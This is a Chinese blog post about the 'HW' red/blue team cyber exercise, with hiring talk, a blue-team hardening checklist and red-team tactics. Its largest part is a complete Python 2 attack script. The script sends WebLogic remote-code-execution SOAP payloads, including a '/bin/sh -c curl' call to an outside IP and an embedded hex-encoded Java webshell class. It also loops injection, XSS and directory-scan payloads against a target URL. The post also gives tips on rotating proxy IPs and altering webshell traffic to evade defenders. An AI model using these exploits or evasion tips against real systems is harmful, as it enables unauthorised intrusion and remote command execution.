《无间道之护网》

领导：你们都在哪护网啊，汇报一下。

同事：对不起，我不能告诉你。

趁今年还没开始，和大家一起学习一下。

当然我们单位也是很严格的，去年因为我刚入职，工位上的一台公共PC与红队IP建立了通信，被怀疑是间谍，整个护网被隔离，所以蓝队的护网中后期基本没有参与。

首先可能还有一些小伙伴还不知道什么是护网，所以我就不解释了，懂的都懂

2020年因为疫情的原因暂时无法猜测，可能会延后。

2019年招聘，日薪从1.5k到无上限，时长为1个月-3个月。

不过主要原因还是国家对网络安全开始重视起来了。

攻击方更不用谈了，要求更高，报酬更高。

薪资高了，这波热潮结束，安全从业人员薪资也涨了很多。

同时看到很多公司从没有安全人员到高薪招聘安全人员，略感欣慰。

但很多专科文凭都没有且技术感人的同学张口期望薪资就是一万一个月，有大概率泡沫经济的可能。

随着安全行业的正式化扩招，未来要求也会越来越严格，扯远了。

蓝方护网

1.护网专项方案

如何做好防护的一些方案。

2.护网演练

在准备阶段，演练过程中，红队采取脚本构造恶意payload，来测试安全设备的告警及安全监控分析人员的响应能力。

python2脚本如下，代码中的字典就不放出了，可自行构造：

# -*- encoding: utf-8 -*-

import requests
import datetime
import time
import json
import os
from optparse import OptionParser

requests.packages.urllib3.disable_warnings()
requests.adapters.DEFAULT_RETRIES = 0
succes_count = 0
fail_count = 0


def getip():
    r = requests.get('http://ip.360.cn/IPShare/info',verify=False)
    ip = json.loads(r.content)['ip']
    return ip


def geturl(payload):
    global fail_count
    global succes_count
    heads = {
        'User-Agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'
    }
    try:
        requests.get(url + payload, headers=heads, timeout=3,verify=False)
        succes_count += 1
    except:
        fail_count += 1


def attackweblogic():
    global fail_count
    global succes_count
    heads = {
        'User-Agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'
    }
    data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/sh</string></void><void index="1"><string>-c</string></void><void index="2"><string>curl http://101.200.127.171/sgccccccccc</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'''
    data2 = '''<?xmlversion="1.0"encoding="utf-8"?><soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><voidclass="weblogic.utils.Hex"method="fromHexString"id="cls"><string>0xcafebabe0000003301280a004b00870a0088008907008a0a0003008b0a004b008c0a008d008e08008f0a002f00900800910a008d00920a009300940a009300950700960a000d00970a001100980a000d009907009a0a0011009b0a002f009c0a002f009d08009e07009f0a001600870a00a000a10a003f00a20a001600a30800a40a001600a50800a60a002f00a70a00a800a90a002700aa0800ab0a00ac00ad0a002f00ae0800af0700b00a002500870700b10800b20a002700b30a002700b40a002700***800b60a00b700b80800b90700ba0a002f00bb0800bc0a002f00bd0a002f00be0b00bf00c00800c10800c20800c30800c40700c50a003900c60a003900c70a003900c80a00c900ca0800cb0700cc0a003f00b30a003f00cd0a00c900ce0a00cf00d00a00b700d10a00a800d20700d30a004600bb0a00d400d50800d60700d70700d80100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010015284c6a6176612f6c616e672f537472696e673b29560100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01001568747470436f6e6e656374696f6e48616e646c65720100314c7765626c6f6769632f736572766c65742f696e7465726e616c2f48747470436f6e6e656374696f6e48616e646c65723b01000e736572766c65745265717565737401002e4c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000d6578656375746554687265616401001d4c7765626c6f6769632f776f726b2f457865637574655468726561643b01000f736572766c6574526573706f6e736501002f4c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c3b01000b776f726b4164617074657201001b4c7765626c6f6769632f776f726b2f576f726b416461707465723b010014776562417070536572766c6574436f6e746578740100304c7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e746578743b0100047061746801000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000b7072696e745772697465720100154c6a6176612f696f2f5072696e745772697465723b0100057368656c6c0100066465636f64650100025b4201000c5f7072696e7457726974657201000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100046e616d650100056279746573010006656e636f646501000c7072696e745772697465723101000d537461636b4d61705461626c650700d70700ba07008a0700d90700da0700db0700dc0700b107006f01000a457863657074696f6e730700dd01000a536f7572636546696c6501000***6d6c4578702e6a6176610c004c004d0700de0c00df00e001001b7765626c6f6769632f776f726b2f457865637574655468726561640c00e100e20c00e300e40700e50c00e600e701001c436f6e7461696e6572537570706f727450726f7669646572496d706c0c00e800e9010011636f6e6e656374696f6e48616e646c65720c00ea00eb0700ec0c00ed00ee0c00ef00f001002f7765626c6f6769632f736572766c65742f696e7465726e616c2f48747470436f6e6e656374696f6e48616e646c65720c00f100f20c00f300f40c00f500f601002c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c0c00f700f60c00f800e70c00f900fa01000677686f616d690100176a6176612f6c616e672f537472696e674275696c6465720700db0c00fb00fc0c00fd00e70c00fe00ff0100102f7761722f66617669636f6e2e69636f0c010000e7010010676976656d65776c73776172706174680c010101020700d90c010301040c010500540100076f732e6e616d650701060c010701080c010900e701000377696e0100136a6176612f7574696c2f41727261794c6973740100136a6176612f696f2f5072696e74577269746572010001780c004c00540c010a00540c010b004d0104c45043554b64484a354948734b4943416749434167616d4632595335735957356e4c6c4e30636d6c755a7942755957316c4944306749694937436941674943416749477068646d4575624746755a79355464484a70626d63675932316b49443067636d56786457567a6443356e5a58525159584a68625756305a58496f496d4e745a4349704f776f6749434167494342705a69686a6257513950573531624777704948734b4943416749434167494342766458517563484a70626e5273626967696347786c59584e6c49476c756348563049474e7662573168626d516849696b3743694167494341674948304b436941674943416749474a766232786c5957346761584e58615734675053416f616d463259533570627935476157786c4c6e4e6c6347467959585276636b4e6f59584967505430674a79386e4b53412f49475a6862484e6c49446f6764484a315a54734b4943416749434167616d4632595335735957356e4c6c4e30636d6c755a31746449474a7662335137436941674943416749476c6d494368706331647062696b6765776f67494341674943416749474a7662335167505342755a586367616d4632595335735957356e4c6c4e30636d6c755a31746449487367496d4e745a43356c654755694c4341694c324d694c43426a625751676654734b49434167494341676653426c62484e6c4948734b4943416749434167494342696232393049443067626d563349477068646d4575624746755a79355464484a70626d64625853423749434976596d6c754c324a68633267694c4341694c574d694c43426a625751676654734b494341674943416766516f67494341674943427159585a684c6d7868626d637555484a765932567a63304a316157786b5a58496763474967505342755a586367616d4632595335735957356e4c6c427962324e6c63334e4364576c735a4756794b474a76623351704f776f674943416749434277596935795a575270636d566a64455679636d3979553352795a5746744b485279645755704f776f67494341674943427159585a684c6d7868626d637555484a765932567a63794277494430676347497563335268636e516f4b54734b4943416749434167616d4632595335706279354a626e423164464e30636d56686253427062694139494841755a325630535735776458525464484a6c5957306f4b54734b4943416749434167596e6c305a56746449474a315a6941394947356c647942696558526c577a45774d6a52644f776f674943416749434270626e5167624756754944306761573475636d56685a436869645759704f776f67494341674943423361476c735a53416f6247567549434539494330784b534237436941674943416749434167636d567a63473975633255755a3256305433563063485630553352795a5746744b436b7564334a706447556f596e566d4c4341774c4342735a5734704f776f6749434167494341674947786c6269413949476c754c6e4a6c5957516f596e566d4b54734b494341674943416766516f6749434167494342795a584e776232357a5a53356e5a585250645852776458525464484a6c5957306f4b53356d6248567a614367704f776f67494341676653426a5958526a6143416f5258686a5a58423061573975494755704948734b494341674948304b4a54343d07010c0c006e010d0100042e6a73700100106a6176612f6c616e672f537472696e670c004c010e010004244e4f240c010f01020c011001110700dc0c011201130100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c004c01140c011501160c011701180701190c011a00fa01000d2f7761722f646174612e62696e01000c6a6176612f696f2f46696c650c011b011c0c011d011e07011f0c012001210c007701220c0123012401001c6a6176612f696f2f427974654172726179496e70757453747265616d0701250c0126012701000001001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a65637401002d7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c0100197765626c6f6769632f776f726b2f576f726b4164617074657201002e7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e7465787401000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b01000e67657443757272656e74576f726b01001d28294c7765626c6f6769632f776f726b2f576f726b416461707465723b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b01000f6a6176612f6c616e672f436c6173730100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b010011676574536572766c65745265717565737401003028294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c3b01000a676574436f6e7465787401003228294c7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e746578743b010012676574536572766c6574526573706f6e736501003128294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c3b01000b676574526573706f6e73650100047472696d0100066c656e67746801000328294901000e676574526f6f7454656d7044697201001028294c6a6176612f696f2f46696c653b01000f6765744162736f6c75746550617468010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b010008746f537472696e67010010657175616c7349676e6f726543617365010015284c6a6176612f6c616e672f537472696e673b295a01000967657457726974657201001728294c6a6176612f696f2f5072696e745772697465723b01000577726974650100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f776572436173650100077072696e746c6e010005636c6f736501001d7765626c6f6769632f736572766c65742f7574696c732f426173653634010016284c6a6176612f6c616e672f537472696e673b295b42010005285b42295601000a73746172747357697468010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000d6372656174654e657746696c6501000328295a01000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b01001d6f72672f6170616368652f636f6d6d6f6e732f696f2f494f5574696c7301000b746f427974654172726179010019284c6a6176612f696f2f496e70757453747265616d3b295b42010016285b42294c6a6176612f6c616e672f537472696e673b010016676574536572766c65744f757470757453747265616d01003528294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c65744f757470757453747265616d496d706c3b0100317765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c65744f757470757453747265616d496d706c01000b777269746553747265616d010018284c6a6176612f696f2f496e70757453747265616d3b29560021004a004b0000000000020001004c004d0001004e0000002f00010001000000052ab70001b100000002004f0000000600010000000b00500000000c0001000000050051005200000001005300540002004e000004640004001400000220b80002c000034d014e2cb600043a04013a051904b60005b600061207b600089900341904b600051209b6000a3a06190604b6000b19061904b6000cc0000d3a071907b6000eb6000f3a051907b600104ea7001f1904c100119900171904c000113a061906b600124e1906b6000f3a052bc6000d2bb60013b600149a000612154cbb001659b700171905b60018b60019b6001a121bb6001ab6001c3a062b121db6001e99000d2db6001f1906b60020b10436071221b800223a081908c600131908b600231224b60008990006033607bb002559b700263a09bb002759bb001659b700171906b6001a1228b6001ab6001cb700293a0a190a1906b6002a190ab6002b122c3a0b190bb8002d3a0cbb002759bb001659b700171906b6001a122eb6001ab6001cb700293a0d190dbb002f59190cb70030b6002a190db6002b2b1231b6003299001319092b07b60033b90034020057a70045150799002319091235b9003402005719091236b9003402005719092bb90034020057a7002019091237b9003402005719091238b9003402005719092bb90034020057bb0039591909b7003a3a0e190e04b6003b57190eb6003c3a0f190fb6003d57bb001659b700171905b60018b60019b6001a123eb6001ab6001c3a10bb003f591910b70040b6004157190fb60042b800433a111911b800443a12bb0027591910b700293a1319131912b6002a1913b6002b2db60045bb0046591911b70047b600482db6001f1249b60020b100000003004f000000e20038000000100007001100090012000f00130012001400220015002e00160034001700400018004a00190050001a005b001b0062001c0068001d006f0020007d002100800024009c002600a5002700ae002800af002c00b2002d00b9002e00cb002f00ce003200d7003400f4003500fb00360100003801040039010b003b0128003c0136003d013b003f01440040015400410159004201630043016d00440179004601830047018d00480196004c01a1004d01a8004e01af004f01***05f01d1006001de006201e8006401ef006501fa0066020100670206007302160074021f00760050000000e80017002e0022005500560006004000100057005800070062000d0059005a00060000022000510052000000000220005b005c000100070219005d005e000200090217005f00600003000f02110061006200040012020e006300640005009c01840065005c000600b2016e00660067000700b901670068005c000800d701490069006a000900f4012c006b006c000a0104011c006d005c000b010b0115006e006f000c012800f80070006c000d01a1007f00710072000e01af007100730074000f01d1004f0075005c001001e800380076006f001101ef00310077005c001201fa00260078006c001300790000005c0009ff0053000607007a07007b07007c07007d07007e07007f00001b0d02fc002e07007bfd001e0107007bff0085000e07007a07007b07007c07007d07007e07007f07007b0107007b07008007008107007b0700820700810000241c0083000000040001008400010085000000020086</string></void><voidclass="org.mozilla.classfile.DefiningClassLoader"><voidmethod="defineClass"><string>com.supeream.exploits.XmlExp</string><objectidref="cls"></object><voidmethod="newInstance"><voidmethod="say"id="proc"><string>whoami</string></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>'''
    try:
        requests.post(url + "/wls-wsat/CoordinatorPortType11",
                      headers=heads,
                      data=data,verify=False)
        succes_count += 1
        requests.post(url + "/_async/AsyncResponseService",
                      headers=heads,
                      data=data2,verify=False)
        succes_count += 1
    except Exception, e:
        print e.message
        fail_count += 1


def attack():
    if ltype == 'weblogic':
        while 1:
            if (datetime.datetime.now() - start_time).seconds > int(ltime):
                break
            else:
                attackweblogic()
    else:
        while 1:
            if (datetime.datetime.now() - start_time).seconds > int(ltime):
                break
            else:
                for payload in payloads:
                    if (datetime.datetime.now() -
                            start_time).seconds < int(ltime):
                        geturl(payload)
                    else:
                        break


def main():
    usage = "usage: %prog [options] args"
    parser = OptionParser(usage)
    parser.add_option("--url",
                      dest='url',
                      help=u"攻击对象，eg:http://192.168.111.1",
                      default=180)
    parser.add_option("--time",
                      dest='time',
                      help=u"攻击时间，单位：秒，默认180s",
                      default=180)
    parser.add_option("--type",
                      dest='type',
                      help=u"攻击类型，可选参数：sqlinject、struts2、dirscan、xss、weblogic")

    (options, args) = parser.parse_args()

    global url, ltype, ltime, payloads, start_time
    if not options.type or not options.url:
        parser.print_help()
        print '\nexample:python Main.py --url http://www.sh.sgcc.com.cn --type dirscan --time 10'
        exit()

    else:
        url = options.url
        ltype = options.type
        ltime = options.time
        start_time = datetime.datetime.now()
        pstart_time = start_time.strftime('%Y-%m-%d %H:%M:%S')

    file = './dict/' + ltype + '.dict'
    if not os.path.exists(file):
        print u'请检查攻击类型是否正确！'
        exit()
    payloads = open(file).readlines()
    print u'出口地址：' + getip()
    print u'目标地址：' + url
    print u'攻击类型：' + ltype
    print u'设定时长：' + ltime + 's'
    print u'开始时间：' + pstart_time
    attack()
    print u'结束时间：' + datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    print u'成功次数：', succes_count
    print u'失败次数：', fail_count


if __name__ == "__main__":
    main()

从上面的表格中可以看到，安全设备中会存在误报和误判，需要分析人员分析相关数据包来做出最后的判断及根据业务优化相关策略。

3.检查项

那么蓝方还要做什么呢？

摸清自己底细"横向到边纵向到底" 。

敏感信息排查信息，包括代码方案，收集要全方面，在线资产，远程安全督察，绘制布防图设备，网络边界末梢口。

加强本质，安全自查整改自建终端防火墙规则，督察检查闭环，安全宣传教育，供应商安全。

严防护，纵深防御，攻击捕获，重点防护泛终端打印机dvr门禁和统一口令集控系统dns域控堡垒机，全监控，值班值守，检测分析，应急处置，联动协同，追根溯源。

具体实施项如下：

（1）护网目标系统是否与单位其他网段网络隔离

（2）服务器、网络设备、安全设备运维方式确认，是否为堡垒机，如果直接运维，建议护网期间，只允许运维人员网络访问SSH、RDP等。

（3）核心系统安全策略确认，建议护网期间配置更严格的ACL策略。

（4）终端杀毒软件保证护网前期和护网期间每天进行病毒查杀。

（5）口令安全，网络设备、安全设备口令设置为强口令，不能统一口令，业务系统是否对外部用户开启注册。若提供外部用户注册，是否对外部用户注册时口令复杂度及长度进行强制要求。是否有密码找回功能。

（6）应用系统后台地址暴露情况，是否对公网暴露。

（7）网站上传目录是否有运行权限。

（8）VPN、服务器账号是否有长期不用的测试账号、临时账号等。

（9）监控设备如流量分析、态势感知设备流量接入是否全部覆盖单位互联网网络，尤其容易疏忽的是第三方接入流量。

（10）安全设备如WAF、IPS可以根据网络情况，安全策略级别调高，如访问频率阀值，封堵时间等。

（11）前期发现的漏洞，高危利用难度低的漏洞优先修复。

红方护网

在真实的攻击行动中，给攻击方的时间只有几周，每个队伍多多个目标，决定了攻击者需要快速编写脚本实现自动化。

1.扫描

扫描器，大家的第一反应，当然还是DIY的更香。分布式扫描器的搭建网上有很多教程，主要目的是**多个服务器来保持扫描器的稳定及效率。因为有蓝方的存在，一旦被发现攻击IP，IP被立马被他们防火墙ban掉，直接无法进行正常访问，我的一个红方朋友跟我说某安服厂商推出了一个平台，提供了大量的IP自动切换。你ban我一个，我换一个。

当然没有厂家的支持，可以自己搞。花钱购买稳定的代理池，提取代理IP，进行切换。某服务提供商的价格如下。

2.攻击软件的特征

众所周知，攻击方用的工具，防守方也有，所以大多数监控设备都会提取攻击方的特征值，去匹配恶意攻击流量，来实施拦截防护。

如菜刀，CS，MSF，基本都被秒杀。

有脑子的人，要么DIYwebshell管理器，要么都转用加密传输的冰蝎了。

最简单的应对方式就是修改特征流量。

同时我们要知道！！！

“无文件”攻击已经成为主流。

3.鱼叉攻击

也就是直接给蓝队发钓鱼邮件。

有兴趣的参考红队行动之鱼叉攻击-研究分享。

https://payloads.online/archivers/2020-02-05/1

4.0day AND Nday

最有效的当然是oday了。

2019年的0day整理,转自key。

护网0day细节文档下载：

https://files.zsxq.com/lnRfvJkB7GIG6AYTzZL41NeTyqbj?attname=HW2019-0day%E7%BB%86%E8%8A%82%E6%80%BB%E7%BB%93.pdf&e=1582682331&token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zD:gm48qTTryo4YapNkVfV2gNHEgfs=